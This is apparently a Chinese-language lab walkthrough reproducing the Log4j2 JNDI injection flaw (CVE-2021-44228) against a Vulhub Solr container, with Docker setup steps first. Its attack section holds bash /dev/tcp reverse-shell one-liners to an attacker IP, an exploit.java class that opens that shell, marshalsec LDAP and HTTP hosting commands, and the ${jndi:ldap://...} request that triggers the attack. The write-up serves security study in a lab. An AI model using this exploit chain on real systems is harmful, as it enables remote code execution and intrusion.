Log4j2漏洞复现-Vulhub

1 Log4j2漏洞

1.1 Log4j2简介

Apache Log4j2 是一个广泛使用的 Java 日志框架,它是 Log4j 的升级版本,参考了 Logback 的一些优秀设计,并修复了一些问题,带来了重大提升。

1.2 Log4j2漏洞原理

Log4j2 启用了 lookup 功能,导致存在 JNDI 漏洞。lookup 是用于在日志消息中替换变量的函数,是通过配置文件中的 ${} 语法调用的。攻击者使用 ${} 关键标识符进行 JNDI 注入,调用JNDI服务(LDAP 或 RMI)向攻击者提前部署好的恶意站点获取恶意的 .class 对象,造成了远程代码执行。

JNDI

JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI可访问的现有的目录及服务有:JDBC、LDAPRMI、DNS、NIS、CORBA。

LDAP

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和管理目录服务的应用协议。

RMI

RMI(Remote Method Invocation,远程方法调用)是 Java 中的一种远程调用机制,可以在不同的 JVM 之间实现 Java 对象之间的交互和通信。

2 漏洞复现

2.1 Vulhub靶场

环境

Kali

Kali proxychains代理:

vim /etc/proxychains.conf

在 [ProxyList] 下方添加代理,例如:socks5 192.168.91.1 10802

执行命令时,在前方加上proxychains,例如:proxychains curl ip.sb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#更新源:
apt-get update

#下载Docker:
apt install docker.io
docker --version (或 docker -v)(查看docker版本)

#配置Docker代理:
sudo vim /etc/docker/daemon.json
在daemon.json文件中添加如下内容(按需修改IP端口)
{
"proxies": {
"http-proxy": "http://192.168.91.1:7890",
"https-proxy": "http://192.168.91.1:7890"
}
}

#安装docker-compose:
cd /usr/local/bin
wget https://github.com/docker/compose/releases/download/v2.32.4/docker-compose-linux-x86_64 (版本号可改为最新版)
mv docker-compose-linux-x86_64 docker-compose (重命名)
sudo chmod +x /usr/local/bin/docker-compose (添加执行权限)
docker-compose -v (查看docker-compose版本)

#下载Vulhub靶场:
自行选择合适的位置下载
git clone https://github.com/vulhub/vulhub.git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#Docker常用命令
systemctl status docker (查看docker服务状态)
systemctl restart docker (重启docker;start启动,stop停止)
systemctl daemon-reload (重新加载 systemd 的配置文件)
docker images (列出镜像)
docker ps
docker ps -a
docker start 容器名或id
docker stop 容器名或id
docker k 容器名或id
docker search nginx*
docker pull nginx*
docker rmi nginx*
docker-compose up -d
docker-compose down

2.2 反弹shell

2.2.1 相关命令

1
2
nc -lvvp 7777 (开启监听,接收shell)
bash -i &> /dev/tcp/192.168.210.26/7777 0>&1 或 bash -c 'bash -i &> /dev/tcp/192.168.210.26/7777 0>&1' (反弹Shell到指定IP和端口)

2.2.2 启动漏洞环境

1
2
3
4
5
6
cd vulhub/log4j/CVE-2021-44228 (进入vulhub靶场)
systemctl status docker (查看docker是否运行)
docker-compose up -d (启动log4j的docker环境)
docker ps (查看已运行的docker信息,看到是8983端口)
ifconfig (查看IP为192.168.91.128)
访问http://192.168.91.128:8983/

若启动之后无法访问,查看日志报错信息。详细步骤为:通过 docker ps 查看 CONTAINER ID(每次启动都是随机的),通过 docker exec -it <获取的ID> /bin/bash 进入容器内部,通过 cd /opt/solr/server/logscat solr-8983-console.log 查看日志。

如果日志如下:

root@3acecd6dc5ea:/opt/solr/server/logs# cat solr-8983-console.log
OpenJDK 64-Bit Server VM warning: Failed to reserve shared memory (errno = 12).
OpenJDK 64-Bit Server VM warning: Failed to reserve shared memory (errno = 12).
OpenJDK 64-Bit Server VM warning: Failed to reserve shared memory (errno = 12).
OpenJDK 64-Bit Server VM warning: Failed to reserve shared memory (errno = 12).
library initialization failed - unable to allocate file descriptor table - out of memory

可以访问这个链接获取详细的解决办法:https://blog.csdn.net/hety119/article/details/140931724 。具体做法是: systemctl status docker 获取 docker.service 所在路径为 /usr/lib/systemd/system/docker.servicevim /usr/lib/systemd/system/docker.service ,在ExecStart参数值后追加 --default-ulimit nofile=65535:65535 ,docker-compose down 关闭容器,systemctl daemon-reloadsystemctl restart docker 重启docker。

如果日志是其它报错信息,自行网上搜索解决方法。

2.2.3 准备恶意代码和环境

创建 exploit.java 恶意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.Runtime;
import java.lang.Process;
public class exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c" ,"bash -c 'bash -i &> /dev/tcp/192.168.210.26/7777 0>&1'"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1
2
3
javac exploit.java (编译为class文件,必须使用java8版本,其它版本可能失败)
python -m http.server (在class文件所在目录开启http.server,默认为8000端口,访问地址为:http://192.168.210.26:8000/)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.210.26:8000/#exploit" 1389 (开启 ldap服务)

2.2.4 执行攻击

1
2
3
nc -lvvp 7777 (开启监听)
http://192.168.91.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.210.26:1389/exploit} (访问即可完成攻击)
docker-compose down (关闭容器)